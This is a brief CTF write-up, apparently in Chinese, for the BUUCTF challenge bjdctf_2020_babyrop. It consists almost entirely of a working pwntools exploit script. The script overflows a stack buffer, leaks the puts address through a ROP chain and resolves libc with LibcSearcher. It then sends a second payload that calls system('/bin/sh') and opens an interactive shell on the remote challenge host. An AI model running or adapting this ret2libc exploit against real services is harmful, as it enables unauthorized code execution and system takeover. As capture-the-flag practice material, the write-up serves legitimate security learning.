BUUCTF-bjdctf_2020_babyrop(16/100)
一、查保护
二、代码审计
三、过程
栈溢出
四、脚本
from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)
rv=lambda x:io.recv(x)
#io = process('./')
io=remote('node3.buuoj.cn',25801)
elf=ELF('./bjdctf_2020_babyrop')
sl('a'*0x20+'b'*8+p64(0x0400733)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']))
io.recv()
puts=u64(rv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts)
base=puts-libc.dump('puts')
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')
sla('y!','a'*0x20+'b'*8+p64(0x0400733)+p64(bin_sh)+p64(system))
io.interactive()